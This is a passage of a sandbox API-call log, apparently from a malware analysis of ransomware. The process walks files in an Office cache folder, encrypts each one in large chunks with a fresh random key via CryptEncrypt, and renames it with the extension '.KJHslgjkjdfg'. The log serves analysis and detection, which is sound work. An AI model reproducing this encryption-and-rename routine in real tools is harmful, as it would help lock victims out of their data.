lpOverlapped=0x0) returned 1 [0137.033] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f26c*=0x10, lpOverlapped=0x0) returned 1 [0137.033] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f26c*=0x80, lpOverlapped=0x0) returned 1 [0137.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0137.033] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f26c*=0x8, lpOverlapped=0x0) returned 1 [0137.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0137.034] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0137.034] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0137.053] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0137.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.059] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0137.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.061] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0137.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0137.061] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0137.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0137.113] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.114] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0137.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.116] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0137.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0137.116] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0137.130] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0137.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.133] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0137.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0137.134] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.134] SetEndOfFile (hFile=0x114) returned 1 [0137.138] GetProcessHeap () returned 0x2a0000 [0137.138] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.138] GetProcessHeap () returned 0x2a0000 [0137.138] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.155] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.kjhslgjkjdfg")) returned 1 [0137.247] CloseHandle (hObject=0x114) returned 1 [0137.247] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0137.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0137.250] GetProcessHeap () returned 0x2a0000 [0137.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.250] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.250] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0137.250] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0137.264] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0137.264] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.264] GetProcessHeap () returned 0x2a0000 [0137.264] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.264] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0137.264] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.264] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0137.264] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0137.264] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0137.264] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0137.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0137.265] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0137.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0137.265] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.265] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x545, lpOverlapped=0x0) returned 1 [0137.265] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x550) returned 1 [0137.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.265] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x550, lpOverlapped=0x0) returned 1 [0137.265] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.265] SetEndOfFile (hFile=0x114) returned 1 [0137.268] GetProcessHeap () returned 0x2a0000 [0137.268] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.268] GetProcessHeap () returned 0x2a0000 [0137.268] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.268] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.kjhslgjkjdfg")) returned 1 [0137.272] CloseHandle (hObject=0x114) returned 1 [0137.292] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0137.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0137.294] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x290f280 | out: lpFileSize=0x290f280*=28016276) returned 1 [0137.294] GetProcessHeap () returned 0x2a0000 [0137.294] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.294] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.294] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.294] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f26c*=0xc, lpOverlapped=0x0) returned 1 [0137.298] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0137.298] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.298] GetProcessHeap () returned 0x2a0000 [0137.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0137.298] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30) returned 1 [0137.298] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.298] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f26c*=0x30, lpOverlapped=0x0) returned 1 [0137.299] WriteFile (in: hFile=0x114, lpBuffer=0x290f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f274*, lpNumberOfBytesWritten=0x290f26c*=0x4, lpOverlapped=0x0) returned 1 [0137.299] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f26c*=0x10, lpOverlapped=0x0) returned 1 [0137.299] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f26c*=0x80, lpOverlapped=0x0) returned 1 [0137.299] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0137.299] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f26c*=0x8, lpOverlapped=0x0) returned 1 [0137.299] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0137.299] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.299] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0137.299] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0137.314] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0137.317] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.317] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0137.318] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.318] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0137.318] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0137.318] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0137.329] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0137.332] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.332] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0137.334] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.334] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0137.334] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0137.334] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0137.341] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0137.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.343] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0137.344] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.345] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0137.345] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.345] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.345] SetEndOfFile (hFile=0x114) returned 1 [0137.349] GetProcessHeap () returned 0x2a0000 [0137.349] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0137.349] GetProcessHeap () returned 0x2a0000 [0137.349] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.349] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.kjhslgjkjdfg")) returned 1 [0137.349] CloseHandle (hObject=0x114) returned 1 [0137.350] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0137.350] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0137.354] GetProcessHeap () returned 0x2a0000 [0137.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.354] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0137.355] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0137.358] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0137.358] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.358] GetProcessHeap () returned 0x2a0000 [0137.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.358] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0137.358] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.358] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0137.358] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0137.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | 